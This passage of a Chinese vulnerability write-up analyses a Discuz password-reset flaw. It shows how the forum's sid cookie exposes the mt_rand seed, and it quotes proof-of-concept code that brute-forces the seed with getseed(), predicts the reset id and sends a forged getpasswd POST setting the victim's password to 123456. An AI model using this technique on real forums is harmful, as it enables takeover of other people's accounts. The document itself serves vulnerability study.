我们的PHP版本在5.0以上,所以种子都是由系统自动完成的。

然后代码在26个字母包括大小写和数字中随机生成执行长度$length的伪随机字符串。

所以,我们现在知道了,在我们发出找回密码的POST请求的时候,系统会运行代码:

$idstring = random(6);

生成个6位伪随机字符串然后插进数据库。

aaarticlea/png;base64,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" alt="" />

那这个我们poc中第三步得到的cookie有什么关系呢?我们继续分析poc代码,之后会详细分析cookie值和和id_hash的关系。

poc做的第三步是:

$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];

$data ="POST ".$path."member.php HTTP/1.1\r\n";

action:重设密码的动作

uid:前面填写的目标用户的id

id:我们通过算法得到的伪随机字符串

newpasswd:新密码

formhash:formhash

这一步就相当于我们在邮箱会收到一封确认邮件,要求我们点击然后去重设密码的链接一样。

这个动作对应到:member.php里面的代码逻辑是:

elseif($action == 'getpasswd' && $uid && $id)
{
    $discuz_action = 141;
    $query = $db->query("SELECT m.username, mf.authstr FROM {$tablepre}members m, {$tablepre}memberfields mf
        WHERE m.uid='$uid' AND mf.uid=m.uid");
    $member = $db->fetch_array($query);
    list($dateline, $operation, $idstring) = explode("\t", $member['authstr']);
    if($dateline < $timestamp - 86400 * 3 || $operation != 1 || $idstring != $id)
    {
        showmessage('getpasswd_illegal', NULL, 'HALTED');
    }
    if(!submitcheck('getpwsubmit') || $newpasswd1 != $newpasswd2)
    {
        include template('getpasswd');
    }
    else
    {
        if($newpasswd1 != addslashes($newpasswd1))
        {
            showmessage('profile_passwd_illegal');
        }
        $password = md5($newpasswd1);
        $db->query("UPDATE {$tablepre}members SET password='$password' WHERE uid='$uid'");
        $db->query("UPDATE {$tablepre}memberfields SET authstr='' WHERE uid='$uid'");
        showmessage('getpasswd_succeed');
    }
}

可以看到,代码会从数据库查出我们刚才的找回密码动作产生的id_hash。然后判断一下是否过了3天的timesxpire。然后是最关键的:

|| $idstring != $id

直接对我们提交的$id和数据库中的伪随机字符串$idstring进行等值比较,也就是说,我们的算法得出的$id必须要能够等于数据库中的$idsring才能通过密码重设逻辑。

我们现在可以回过头来分析一下我们的poc算法是怎么通过cookie值算出这个伪随机id_hash的了。

通过webscarab代理拦截抓包,发现DZ是先对我们本地写进一个cookie值,再发送HTTP实体内容的。也就是说在调用random(6)生成伪随机id_hash之前,先生成了一个cookie并发往我们的浏览器。

从member.php中处理找回密码的代码逻辑的地方往前回溯,发现在头部require了一个common.inc.php文件。在这里下断点die("ok")。发现cookie值依然获取到了

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdcAAABJCAIAAADg/fsRAAAFj0lEQVR4nO3dUXLrKBCFYW03q5iVTFW2MavTPEUlA910NyBA/r+HlCLjpsHSub4Z587x+/v78/Pzz7//nX+O4ziOQzq+Kz4lkT/Ut75lRsu8xidahhUH6PtgX8U49/7PbDn566KPz1dRrRNuGNja4U3hchXPQ33r64NbjnvVtJ+xPzrCPUZPIVW94717G2sY2BopPPzYfia85Gt8SyrdYzT5Vk9PZbzl9Q23XXxi+z4ADyuk8Jn95bF4Ph+fls7kg431pSnEVal9Fid19dOljr4i13rPHulTXY7e//Xt8anYpH0fjN3mU3gLArOUU3hB3FpVX7VFymK/ah/wAtuk8MndpfqqzSGC8SY7pTAAvA8pDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzkcIAMBMpDAAzDU9h/m+MAKCopLA9Q4+bWAXjFNWTyZn7t8Umj0/VRTWO774/Un1p0nxMtc/2JgFI+qTwA3epNEU1165v9fQZd+ztP0afMdbziD4BJMoprL8nMkaMPrj6ULFaYQFykWRASyq1J5q9/xh9xljP9v67LAH4ToUUDtyxyn3Yng56fWnG6yn5wcPHgSUEtO9ztcPigPtWAwjokMJH5mOC5nQoFtGW9Dc4acnYv7FP+/jAEgKkGdvXpUwBoJ07has3djqBmkft9fUZ76X0efNZquONx4ElBCgzBtZlnAJAu+B74bSK56G+9auD7Sk86DiwhIDYPpPCwHSk8KIpfPxxjZfOjEthb58AEg99RsJ450v1pSnKSyrVVOp7+5E2p1f/SSnXeOlMYF1KtZY+ASS2+Q3mL7zVl1qy0sxSfQLb2SaFzy+725daLBEMjLNTCgPA+5DCADATKQwAM5HCADDTtBTmv+ro2J9nsM+YjhTuLLYu++dzvTV79dN3/Dqe7/yZVwQb4ScSna12j5HCq1ntCsF0jt9gPuW3V8cnvY5exDWvuKrS+GKT9nVZ5s07DzzFtcnVPsP7bN//xv08Mvp5Y528z2LbepPGdVXrW/rU+5cmtfeDZWkpnLzAvY6rZ4zziksa0PPQC91413Xf58ZjaYpwzfurbznv7bOo1z7rlbvsszKLcTDWJKawfrO1X1XSGfu84pI6XfGxu8LLMrvej95brE7766h3Ujy+vuYHxfPhPWnfH2/l9n3Gi1V+IvExNJOPH3f35vOKS+p0xXvnjdFnl87Y79hYnfxY2gfv66gcX1/zg+L58J6074+3cssxXs+dwvp5+1UVu3tNS+p0xT9wJyhT9EqHWB1j/eJD4evk+pofFM+H90Tvtr2mvU6vubA1UvihO+H4I7WqrKKl5/Y6riZb6l9f84Pi+cA+6N227Elev2WflT0v9m8cjDU5Uvi8veTSJVi8EJPzRyY8r7gquZniXJZ1Wea1tFTsR5pU6tnSv1Qnf8h1vtq/NN5Y5/pWGVato0xd3R+ljrQuS/1qn9J4nXc8FtT588JcEHa779Xu/Y/m3Z/wfvJC7I4UBoZ4JoW5415g1xTO/zrJ5YilPPZeGLvjN5gBYKZdU5h3DQDegRQGgJncKbzIT69W6AEA2lVSOM/cQAobPy9pfPr9pFRnkT8qAKDKncLuCdQcH5TCXToHgAeUU7j48S/lA2HVh6QzxfewlvfO4RSW+gSAKXz/ynv1jBKg9VaEOlIKuwomJ0lhAIvYKYWTk66CALCmbil8pwzWWlFTOK/sKggAa+r8XjitznthAFDtlMLnZyK7CiYnSWcAiwh+RiL/+YCUboEgLhZPjqs1pXlJYQBLGf4bzIMiL5zC41oCgIAn/h2JEamnFySCAeyCf80HAGYihQFgpl1TGADe4X+Im5DgtumjgQAAAABJRU5ErkJggg==" alt="" />

aaarticlea/png;base64,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" alt="" />

说明common.inc.php里面包含了设置cookie信息的代码:

include/common.inc.php

看到了设置cookie的代码:

if(empty($_DCOOKIE['sid']) || $sid != $_DCOOKIE['sid'])
{
        dsetcookie('sid', $sid, 604800);
}

继续回溯$sid。

$sid = daddslashes(($transsidstatus || CURSCRIPT == 'wap') && (isset($_GET['sid']) || isset($_POST['sid'])) ?
    (isset($_GET['sid']) ? $_GET['sid'] : $_POST['sid']) :
    (isset($_DCOOKIE['sid']) ? $_DCOOKIE['sid'] : ''));

接着回溯$_DCOOKIE['sid']。

if(!$sessionexists)
{
    if($discuz_uid)
    {
        $query = $db->query("SELECT $membertablefields, m.styleid
            FROM {$tablepre}members m WHERE m.uid='$discuz_uid' AND m.password='$discuz_pw' AND m.secques='$discuz_secques'");
        if(!($_DSESSION = $db->fetch_array($query)))
        {
            clearcookies();
        }
    }

if(ipbanned($onlineip)) $_DSESSION['ipbanned'] = 1;

$_DSESSION['sid'] = random(6);
    $_DSESSION['seccode'] = random(6, 1);
}

注意这里的if判断。if(!$sessionexists):session值不存在的时候进入这块代码逻辑,而我们知道session虽然存在服务器上,但是session和用户的对应关系是通过我们发往服务器的cookie值来链接的,但是我们的poc没有发送任何cookie,所以每次我们的session都为空,也就都会进行这块代码逻辑。

看关键的两句:

$_DSESSION['sid'] = random(6);
 $_DSESSION['seccode'] = random(6, 1);

第一句是生成一个6位长度的伪随机字符串,第二句是生成一个1位长度的伪随机字符串。本质上就是6次mt_rand()加上1次mt_rand()。

这里有一个很重要的知识点要注意,关于PHP的mt_rand(),因为我们在这次HTTP交互中是第一次使用mt_rand(),所以系统会自动生成一个seed,不用我们再手动赋值seed,而这个seed在本次HTTP交互中就不会再变了,后面不管多少次mt_rand()都是基于这个seed。

整理一下DZ的整个代码流程:

1. 在第一次的mt_rand()之前由系统自动生成一个seed,这个过程对程序员是透明的。--------等效于破出里面的mt_srand($seed);

2. 6次mt_rand()生成一次sid,用于set-cookie。-----等效于poc里面的一次random()调用

3. 1次mt_rand()生成一个seccode------等效与poc里面的一次mt_rand()

4. 6次mt_rand()生成一个idstring,即id伪随机字符串,并保存进数据库--------等效于poc里面的一次random()调用

好,我们接下来来看看poc里面生成id_hash的算法是怎么写的:

function getseed()

{

  global $sid;

  for($seed =0; $seed <=1000000; $seed ++)

  {

    mt_srand($seed);

    $id = random(6);

    if($id == $sid[1])

    {

      return $seed;

    }

  }

  return false;

}

因为PHPmt_rand()默认的自动种子的原理就是:

((double)microtime() * 1000000);

所以for循环的最大值就是1000000。

